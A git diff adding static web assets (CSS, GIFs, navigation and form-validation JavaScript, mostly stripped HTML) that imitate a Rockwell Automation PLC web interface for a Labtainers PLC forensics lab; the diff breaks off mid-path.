diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network.html new file mode 100644 index 000000000..659784097 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network.html @@ -0,0 +1,198 @@ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Initial Network Configuration
Ethernet Interface Configuration
Network Interface
IP Address
Subnet Mask
Default Gateway
Primary Name Server
Secondary Name Server
Domain Name
Hostname
Name Resolution (DNS)

Ethernet Link
Autonegotiate Status
Select Port Speed +
Select Duplex Mode

+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/network_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/network_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview.html new file mode 100644 index 000000000..a575509e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/newview_files/header.html 